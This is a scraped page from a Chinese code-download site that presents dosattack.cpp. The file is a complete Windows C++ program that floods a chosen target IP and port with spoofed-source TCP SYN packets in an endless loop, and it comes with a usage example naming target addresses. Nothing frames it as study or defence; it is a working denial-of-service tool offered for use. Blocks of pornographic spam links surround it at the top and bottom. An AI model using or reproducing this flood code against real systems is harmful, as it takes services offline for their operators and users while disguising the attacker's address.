亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? dosattack.cpp

?? dosattack完成的功能:ip隱藏dos攻擊 攻擊使用流程: 1.運(yùn)行可執(zhí)行文件
?? CPP
字號:
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
//#define argv[3] "200.168.150.1" //偽裝IP的起始值,本程序的偽裝IP覆蓋一個C類網(wǎng)段
#define STATUS_FAILED 0xFFFF //錯誤返回值

typedef struct _iphdr //定義IP首部
{
	unsigned char h_verlen; //4位首部長度,4位IP版本號
	unsigned char tos; //8位服務(wù)類型TOS
	unsigned short total_len; //16位總長度(字節(jié))
	unsigned short ident; //16位標(biāo)識
	unsigned short frag_and_flags; //3位標(biāo)志位
	unsigned char ttl; //8位生存時間 TTL
	unsigned char proto; //8位協(xié)議 (TCP, UDP 或其他)
	unsigned short checksum; //16位IP首部校驗(yàn)和
	unsigned int sourceIP; //32位源IP地址
	unsigned int destIP; //32位目的IP地址
}IP_HEADER;

struct //定義TCP偽首部
{
	unsigned long saddr; //源地址
	unsigned long daddr; //目的地址
	char mbz;
	char ptcl; //協(xié)議類型
	unsigned short tcpl; //TCP長度
}psd_header;

typedef struct _tcphdr //定義TCP首部
{
	USHORT th_sport; //16位源端口
	USHORT th_dport; //16位目的端口
	unsigned int th_seq; //32位序列號
	unsigned int th_ack; //32位確認(rèn)號
	unsigned char th_lenres; //4位首部長度/6位保留字
	unsigned char th_flag; //6位標(biāo)志位
	USHORT th_win; //16位窗口大小
	USHORT th_sum; //16位校驗(yàn)和
	USHORT th_urp; //16位緊急數(shù)據(jù)偏移量
}TCP_HEADER;

//CheckSum:計算校驗(yàn)和的子函數(shù)
USHORT checksum(USHORT *buffer, int size)
{ 
	unsigned long cksum=0;
	while(size >1) 
	{
		cksum+=*buffer++;
		size -=sizeof(USHORT);
	}
	if(size )
	{
		cksum += *(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16);
	return (USHORT)(~cksum);
}
// SynFlood主函數(shù)
int main(int argc,char *argv[])
{
	if(argc!=5)
	{
		printf("參數(shù)錯誤 使用方式舉例\n  %s 目標(biāo)IP 目標(biāo)端口號 偽裝IP 偽裝端口號\n",argv[0]);
		printf("%s 219.245.5.196 80  219.245.5.45  90\n",argv[0]);
		return 0;
	}
	int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
	int TimeOut=2000,SendSEQ=0;
	char SendBuf[128]={0};
	char RecvBuf[65535]={0};
	WSADATA wsaData;
	SOCKET SockRaw=(SOCKET)NULL;
	struct sockaddr_in DestAddr;
	IP_HEADER ip_header;
	TCP_HEADER tcp_header;
	//初始化SOCK_RAW
	if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
	{
		fprintf(stderr,"初始化Socket失敗: %d\n",ErrorCode);
		ExitProcess(STATUS_FAILED);
	}
	SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
	if (SockRaw==INVALID_SOCKET)
	{
		fprintf(stderr,"初始化Socket失敗: %d\n",WSAGetLastError());
		ExitProcess(STATUS_FAILED);
	}
	flag=TRUE;
	//設(shè)置IP_HDRINCL以自己填充IP首部
	ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
	if(ErrorCode==SOCKET_ERROR) printf("填充IP頭錯誤!\n");
	__try
	{
		//設(shè)置發(fā)送超時
		ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
		if(ErrorCode==SOCKET_ERROR)
		{
			fprintf(stderr,"設(shè)置超時失敗: %d\n",WSAGetLastError());
			__leave;
		}
		memset(&DestAddr,0,sizeof(DestAddr));
		DestAddr.sin_family=AF_INET;
		DestAddr.sin_addr.s_addr=inet_addr(argv[1]);
		FakeIpNet=inet_addr(argv[3]);
		FakeIpHost=ntohl(FakeIpNet);
		//填充IP首部
		ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
		//高四位IP版本號,低四位首部長度
		ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位總長度(字節(jié))
		ip_header.ident=1; //16位標(biāo)識
		ip_header.frag_and_flags=0; //3位標(biāo)志位
		ip_header.ttl=128; //8位生存時間TTL
		ip_header.proto=IPPROTO_TCP; //8位協(xié)議(TCP,UDP…)
		ip_header.checksum=0; //16位IP首部校驗(yàn)和
		ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
		ip_header.destIP=inet_addr(argv[1]); //32位目的IP地址
		//填充TCP首部
		tcp_header.th_sport=htons(atoi(argv[4])); //源端口號
		tcp_header.th_dport=htons(atoi(argv[2])); //目的端口號
		tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號
		tcp_header.th_ack=0; //ACK序列號置為0
		tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP長度和保留位
		tcp_header.th_flag=2; //SYN 標(biāo)志
		tcp_header.th_win=htons(16384); //窗口大小
		tcp_header.th_urp=0; //偏移
		tcp_header.th_sum=0; //校驗(yàn)和
		//填充TCP偽首部(用于計算校驗(yàn)和,并不真正發(fā)送)
		psd_header.saddr=ip_header.sourceIP; //源地址
		psd_header.daddr=ip_header.destIP; //目的地址
		psd_header.mbz=0;
		psd_header.ptcl=IPPROTO_TCP; //協(xié)議類型
		psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部長度
		long index=0;
		while(1) 
		{
			//每發(fā)送10,240個報文輸出一個標(biāo)示符
			printf("正在向%s發(fā)動%ld次攻擊\n",argv[1],++index);
			for(counter=0;counter<10240;counter++)
			{
				if(SendSEQ++==65536) SendSEQ=1; //序列號循環(huán)
				//更改IP首部
				ip_header.checksum=0; //16位IP首部校驗(yàn)和
				ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
				//更改TCP首部
				tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號
				tcp_header.th_sum=0; //校驗(yàn)和
				//更改TCP Pseudo Header
				psd_header.saddr=ip_header.sourceIP; 
				//計算TCP校驗(yàn)和,計算校驗(yàn)和時需要包括TCP pseudo header 
				memcpy(SendBuf,&psd_header,sizeof(psd_header)); 
				memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
				tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
				//計算IP校驗(yàn)和
				memcpy(SendBuf,&ip_header,sizeof(ip_header));
				memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
				memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
				datasize=sizeof(ip_header)+sizeof(tcp_header);
				ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
				//填充發(fā)送緩沖區(qū)
				memcpy(SendBuf,&ip_header,sizeof(ip_header));
				//發(fā)送TCP報文
				ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
				if (ErrorCode==SOCKET_ERROR) printf("\n發(fā)送錯誤:%d\n",GetLastError());
			}//End of for
		}//End of While
	}//End of try
	__finally
	{
		if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
		WSACleanup();
	}
	
	return 0;
	
}

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
青娱乐精品在线视频| 亚洲日本韩国一区| 另类综合日韩欧美亚洲| 日韩色视频在线观看| 韩国欧美国产1区| 国产亚洲欧美日韩在线一区| 国产在线精品一区在线观看麻豆| 国产视频一区在线播放| k8久久久一区二区三区| 亚洲精品国产高清久久伦理二区| 欧美性色黄大片手机版| 老司机一区二区| 国产精品私人影院| 欧美在线三级电影| 极品销魂美女一区二区三区| 中国色在线观看另类| 欧美性受xxxx黑人xyx性爽| 奇米四色…亚洲| 亚洲国产精品成人综合| 在线看日韩精品电影| 裸体健美xxxx欧美裸体表演| 国产精品欧美久久久久无广告| 色狠狠一区二区| 男人的j进女人的j一区| 国产精品入口麻豆九色| 欧美色大人视频| 韩国成人福利片在线播放| 亚洲欧美电影院| 欧美剧在线免费观看网站| 国内精品视频一区二区三区八戒 | 国产一区二区三区香蕉| 国产精品白丝在线| 欧美日韩视频在线第一区 | 岛国精品在线观看| 亚洲乱码国产乱码精品精98午夜 | 国内不卡的二区三区中文字幕 | 一本一本大道香蕉久在线精品| 亚洲一区在线观看免费观看电影高清 | 色妹子一区二区| 麻豆91免费观看| 亚洲欧美激情在线| 久久欧美中文字幕| 欧美精品粉嫩高潮一区二区| 成人久久18免费网站麻豆| 一区二区三区蜜桃网| 精品人在线二区三区| 欧美在线free| 国产伦精品一区二区三区免费迷 | 免费成人你懂的| 亚洲伦理在线精品| 国产欧美日韩久久| 精品美女被调教视频大全网站| 在线免费不卡视频| 粉嫩一区二区三区性色av| 日韩不卡一二三区| 午夜精品久久久久久| 中文字幕在线不卡国产视频| 国产亚洲综合在线| 久久免费午夜影院| xnxx国产精品| 久久伊99综合婷婷久久伊| 26uuu欧美日本| 制服.丝袜.亚洲.中文.综合| 在线观看日韩精品| 一本大道久久a久久精品综合| 国产精品99久久不卡二区| 偷拍一区二区三区| 亚洲成人av电影| 午夜欧美大尺度福利影院在线看| 最新热久久免费视频| 国产精品美女一区二区在线观看| 久久精品一区二区三区不卡牛牛| 精品国产一区二区三区忘忧草 | 欧美精品一区二区三区久久久| 9191精品国产综合久久久久久| 欧美视频一区二区| 欧美精品123区| 欧美高清激情brazzers| 欧美精品乱人伦久久久久久| 91精品国模一区二区三区| 精品视频免费看| 欧美精选一区二区| 欧美一级搡bbbb搡bbbb| 欧美一区二区精美| 精品999久久久| 国产精品色在线| 一区二区三区色| 亚洲福利视频一区二区| 日本免费在线视频不卡一不卡二| 日本v片在线高清不卡在线观看| 免费美女久久99| 国产精品系列在线播放| 成人国产精品免费观看动漫| 99久久精品费精品国产一区二区| 色婷婷综合久色| 91麻豆精品国产91久久久久 | 欧美在线看片a免费观看| 欧美日韩激情在线| 欧美mv日韩mv国产网站| 欧美国产精品一区| 亚洲电影第三页| 黑人精品欧美一区二区蜜桃| 成人免费高清在线| 欧美日韩国产天堂| 久久综合网色—综合色88| 国产精品卡一卡二卡三| 亚洲成av人片在线观看| 韩国av一区二区三区在线观看| 99久精品国产| 91精品国产色综合久久不卡电影 | 色婷婷av一区二区三区软件 | av不卡免费在线观看| 欧美高清视频www夜色资源网| 久久久另类综合| 亚洲自拍偷拍av| 国产在线精品不卡| 精品视频一区二区三区免费| 欧美精品一区二区三区视频| 亚洲天堂福利av| 国内精品免费在线观看| 91国产精品成人| 久久久久久久电影| 亚洲成人免费在线| 丁香网亚洲国际| 在线91免费看| 亚洲乱码中文字幕| 国产精品99久久久久久久女警 | 国产一区二区在线影院| 日本久久一区二区| 精品国产欧美一区二区| 亚洲国产综合人成综合网站| 国产老女人精品毛片久久| 欧美剧情片在线观看| 自拍视频在线观看一区二区| 激情综合五月天| 色成年激情久久综合| 亚洲国产激情av| 精品一区二区三区久久| 欧美午夜精品电影| 国产精品毛片无遮挡高清| 九色综合国产一区二区三区| 欧美日韩一级大片网址| 中文字幕欧美一| 国产精品18久久久久| 日韩欧美一级特黄在线播放| 亚洲一区成人在线| 色呦呦日韩精品| 国产精品国产自产拍高清av王其| 黄色小说综合网站| 欧美一级一区二区| 亚洲成av人片观看| 欧美色视频在线| 亚洲一区二区美女| 91福利资源站| 一区二区三区免费看视频| 色综合中文综合网| 欧美蜜桃一区二区三区| 亚洲精品美腿丝袜| 91免费观看视频在线| 国产精品电影一区二区三区| 国产成人av福利| 国产人妖乱国产精品人妖| 激情另类小说区图片区视频区| 日韩一区二区三区免费看| 日韩av在线播放中文字幕| 欧美日韩国产美女| 日韩高清一区二区| 日韩亚洲欧美一区| 六月婷婷色综合| 久久久精品影视| 成人爽a毛片一区二区免费| 欧美韩日一区二区三区四区| 国产**成人网毛片九色| 国产精品久久久一本精品| 91在线看国产| 亚洲综合图片区| 欧美一区二区女人| 国产一区二区三区国产| 国产欧美一区二区精品仙草咪| 高清国产午夜精品久久久久久| 最新国产精品久久精品| 欧美无乱码久久久免费午夜一区| 亚洲成人激情综合网| 91精品国产福利| 国产.精品.日韩.另类.中文.在线.播放 | 天天射综合影视| 日韩免费高清av| 国产成人精品三级麻豆| 亚洲同性同志一二三专区| 欧美在线观看视频在线| 久久99精品国产麻豆婷婷| 国产亚洲精品久| 91丨国产丨九色丨pron| 亚洲成人先锋电影| 久久综合色8888| 一本一道久久a久久精品综合蜜臀| 亚洲国产成人av好男人在线观看| 欧美一级黄色片| 成人动漫视频在线| 午夜久久久影院|